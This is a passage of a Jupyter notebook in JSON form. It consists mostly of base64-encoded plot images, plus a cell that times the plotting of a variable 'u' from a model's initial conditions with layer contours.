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", "text/plain": [ "<Figure size 900x500 with 2 Axes>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "%time initial_conditions.plot(\"u\", xi=0, layer_contours=True)" ] }, { "cell_type": "code", "execution_count": 19, "id": "58a99405-b28f-41ea-8863-0655d5aef546", "metadata": { "tags": [] }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "CPU times: user 27.1 ms, sys: 19 μs, total: 27.1 ms\n", "Wall time: 38.1 ms\n" ] }, { "data": { "image/png": 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6icGDB3P11VfTs2dPysrK+Ouvv/jhhx8oKysDgp3B+Ph45syZg9VqxWKxMHjwYLp3705ubi633347e/fuJTY2lo8//rhV5wZEw9lnn82oUaO499572blzJ/369eO7775j0aJFTJ06ldzc3EaPb02f+3HjxjFkyBAmTZrEhg0bSE5O5qWXXsLv9x+0lYVVVFT+pRyaID0qKipyfPfdd1Lv3r0lvV4vdevWTVqwYEGbhMKUJElasGCB1KlTJ0mv10v9+/eXvv3227BQmD6fTxo4cKCUlZUlVVRUhB377LPPSoD0/vvvN1mnefPmScccc4xkMBikhIQEacSIEdL3338flueFF16QunfvLul0OiktLU26/vrrpfLy8rA8I0aMkHr16tWsa5YkSQKkG2+8MfS+th03bNggjRs3TrJarVJCQoI0ZcoUyel0hh3r9Xql6dOnSx07dpR0Op2UnZ0t3XPPPZLL5WrWueVCjVZXV0v33HOP1LlzZ0mv10vJycnSsGHDpJkzZ0oej0eSpLrPasaMGbLX8+CDD4be+3w+6aabbpJSUlIkQRDC7pELLrhAMplMEW0oR1FRkXTjjTdK2dnZkk6nk9LT06WTTz5Zmjt3bli+RYsWST179pS0Wm3Y/bRhwwZp9OjRUkxMjJScnCxdffXV0po1axRDZypRGwrzww8/jNg3YcIEyWKxRKTLPRvV1dXSrbfeKmVmZko6nU7q0qWLNGPGjFD41YNJWVmZdOWVV0pJSUmS2WyWRowYIa1cufKg10NFReXfhSBJB3nZPhUVFZVDQO1iWSUlJVFbyY800tLSuOKKK5gxY8ahroqKioqKykFG9blXUVFROYr4559/cDqd3HXXXYe6KioqKioqhwDV515FRUXlKKLhvIlDjcfjCfnuKxEXF6fGfVdRUVFpJVRxr6KioqLSZixdurTJSchvvPEGEydOPDgVUlFRUTnK+Vf53L/44ovMmDGDwsJC+vXrx/PPP8+gQYMOdbVUVFRUjlrKy8tZtWpVo3l69epFRkbGQaqRioqKytHNv0bcv//++1xxxRXMmTOHwYMHM3v2bD788EM2b95Mamrqoa6eioqKioqKioqKSov514j7wYMHM3DgwNDiJoFAgOzsbG666SbuvvvuQ1w7FRUVFRUVFRUVlZbzr/C593g8rFq1invuuSeUJooio0ePZtmyZRH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